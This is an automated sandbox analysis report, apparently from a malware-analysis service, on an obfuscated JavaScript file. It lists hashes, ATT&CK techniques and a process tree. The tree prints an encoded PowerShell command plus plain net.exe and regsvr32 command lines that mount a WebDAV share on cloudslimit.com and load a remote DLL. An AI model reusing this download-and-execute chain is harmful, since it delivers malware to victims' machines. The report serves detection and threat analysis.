ae24fca3098f428c9026953bf6b2a8e105b8505b41d8a2f96d84a8c9fa66ec35

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
27/07/2024, 01:01

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General

Target

0d1f148b171cc87eb8342710388eeef3.js
Size

20KB
MD5

0d1f148b171cc87eb8342710388eeef3
SHA1

3714a087c3dcdd68c4f51e6b2503ac379cf53d4e
SHA256

ae24fca3098f428c9026953bf6b2a8e105b8505b41d8a2f96d84a8c9fa66ec35
SHA512

b5781e3beb70d05c32dfeb06895b15566fb691290386f2d9e3d9f8544d251db05d5165e7164fa497cef01b77e8a7da559fff868e0a11f4e996bd47bf9e564400
SSDEEP

192:3fphRW/zOAdQN1NdCXpqrrBz+b+6wGbIe09Xbu:x/iOAWN1uXkrrkiX6NAS

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
584	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	584	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 584	1968	wscript.exe	31
PID 1968 wrote to memory of 584	1968	wscript.exe	31
PID 1968 wrote to memory of 584	1968	wscript.exe	31
PID 584 wrote to memory of 2840	584	powershell.exe	33
PID 584 wrote to memory of 2840	584	powershell.exe	33
PID 584 wrote to memory of 2840	584	powershell.exe	33
PID 584 wrote to memory of 2880	584	powershell.exe	34
PID 584 wrote to memory of 2880	584	powershell.exe	34
PID 584 wrote to memory of 2880	584	powershell.exe	34
PID 584 wrote to memory of 2880	584	powershell.exe	34
PID 584 wrote to memory of 2880	584	powershell.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\0d1f148b171cc87eb8342710388eeef3.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADMAMwAxADcANgA0ADUANAAyADkAMgAzADQALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:584
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2840
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\23317645429234.dll
    3⤵
    PID:2880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/584-4-0x000007FEF61FE000-0x000007FEF61FF000-memory.dmp

Filesize
4KB

Download
memory/584-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/584-6-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/584-7-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/584-8-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/584-9-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/584-10-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/584-11-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download